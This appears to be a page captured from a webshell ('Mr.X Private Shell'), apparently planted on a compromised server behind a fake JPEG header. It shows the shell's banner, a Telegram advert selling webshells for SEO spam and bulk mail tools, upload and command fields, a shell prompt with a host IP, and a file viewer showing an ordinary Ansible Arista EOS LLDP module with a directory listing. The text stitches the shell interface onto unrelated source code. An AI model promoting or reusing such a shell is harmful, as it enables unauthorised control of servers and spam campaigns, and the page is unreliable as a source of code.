����JFIF��������� Mr.X
  
  __  __    __   __  _____      _            _          _____ _          _ _ 
 |  \/  |   \ \ / / |  __ \    (_)          | |        / ____| |        | | |
 | \  / |_ __\ V /  | |__) | __ ___   ____ _| |_ ___  | (___ | |__   ___| | |
 | |\/| | '__|> <   |  ___/ '__| \ \ / / _` | __/ _ \  \___ \| '_ \ / _ \ | |
 | |  | | |_ / . \  | |   | |  | |\ V / (_| | ||  __/  ____) | | | |  __/ | |
 |_|  |_|_(_)_/ \_\ |_|   |_|  |_| \_/ \__,_|\__\___| |_____/|_| |_|\___V 2.1
 if you need WebShell for Seo everyday contact me on Telegram
 Telegram Address : @jackleet
        
        
For_More_Tools: Telegram: @jackleet | Bulk Smtp support mail sender | Business Mail Collector | Mail Bouncer All Mail | Bulk Office Mail Validator | Html Letter private



Upload:

Command:

deexcl@216.73.217.71: ~ $
# -*- coding: utf-8 -*-

# (c) 2017, Ansible by Red Hat, inc
# GNU General Public License v3.0+ (see COPYING or https://www.gnu.org/licenses/gpl-3.0.txt)

from __future__ import absolute_import, division, print_function


__metaclass__ = type


DOCUMENTATION = """
module: eos_lldp
author: Ganesh Nalawade (@ganeshrn)
short_description: Manage LLDP configuration on Arista EOS network devices
description:
- This module provides declarative management of LLDP service on Arista EOS network
  devices.
version_added: 1.0.0
notes:
- Tested against Arista EOS 4.24.6F
options:
  state:
    description:
    - State of the LLDP configuration. If value is I(present) lldp will be enabled
      else if it is I(absent) it will be disabled.
    default: present
    type: str
    choices:
    - present
    - absent
    - enabled
    - disabled
"""

EXAMPLES = """
- name: Enable LLDP service
  arista.eos.eos_lldp:
    state: present

- name: Disable LLDP service
  arista.eos.eos_lldp:
    state: absent
"""

RETURN = """
commands:
  description: The list of configuration mode commands to send to the device
  returned: always, except for the platforms that use Netconf transport to manage the device.
  type: list
  sample:
    - lldp run
"""
from ansible.module_utils.basic import AnsibleModule

from ansible_collections.arista.eos.plugins.module_utils.network.eos.eos import (
    get_config,
    load_config,
)


def has_lldp(module):
    config = get_config(module, flags=["| section lldp"])

    is_lldp_enable = False
    if "no lldp run" not in config:
        is_lldp_enable = True

    return is_lldp_enable


def main():
    """main entry point for module execution"""
    argument_spec = dict(
        state=dict(
            default="present",
            choices=["present", "absent", "enabled", "disabled"],
        ),
    )

    module = AnsibleModule(
        argument_spec=argument_spec,
        supports_check_mode=True,
    )

    warnings = list()

    result = {"changed": False}

    if warnings:
        result["warnings"] = warnings

    HAS_LLDP = has_lldp(module)

    commands = []

    if module.params["state"] == "absent" and HAS_LLDP:
        commands.append("no lldp run")
    elif module.params["state"] == "present" and not HAS_LLDP:
        commands.append("lldp run")

    result["commands"] = commands

    if commands:
        commit = not module.check_mode
        response = load_config(module, commands, commit=commit)
        if response.get("diff") and module._diff:
            result["diff"] = {"prepared": response.get("diff")}
        result["session_name"] = response.get("session")
        result["changed"] = True

    module.exit_json(**result)


if __name__ == "__main__":
    main()

Filemanager

Name Type Size Permission Actions
__pycache__ Folder 0755
__init__.py File 0 B 0644
eos_acl_interfaces.py File 9.54 KB 0644
eos_acls.py File 28.03 KB 0644
eos_banner.py File 5.6 KB 0644
eos_bgp.py File 14.02 KB 0644
eos_bgp_address_family.py File 39.48 KB 0644
eos_bgp_global.py File 84.41 KB 0644
eos_command.py File 10.18 KB 0644
eos_config.py File 23.14 KB 0644
eos_eapi.py File 14.23 KB 0644
eos_facts.py File 6.2 KB 0644
eos_hostname.py File 9.36 KB 0644
eos_interfaces.py File 9.51 KB 0644
eos_l2_interfaces.py File 9.97 KB 0644
eos_l3_interfaces.py File 9.65 KB 0644
eos_lacp.py File 5.58 KB 0644
eos_lacp_interfaces.py File 7.47 KB 0644
eos_lag_interfaces.py File 7.78 KB 0644
eos_lldp.py File 2.67 KB 0644
eos_lldp_global.py File 8.34 KB 0644
eos_lldp_interfaces.py File 7.41 KB 0644
eos_logging.py File 12.65 KB 0644
eos_logging_global.py File 26.49 KB 0644
eos_ntp_global.py File 30.01 KB 0644
eos_ospf_interfaces.py File 35.2 KB 0644
eos_ospfv2.py File 51.04 KB 0644
eos_ospfv3.py File 53.75 KB 0644
eos_prefix_lists.py File 36.02 KB 0644
eos_route_maps.py File 42.78 KB 0644
eos_snmp_server.py File 49.15 KB 0644
eos_static_routes.py File 30.3 KB 0644
eos_system.py File 11.93 KB 0644
eos_user.py File 15.35 KB 0644
eos_vlans.py File 6.68 KB 0644
eos_vrf.py File 12.19 KB 0644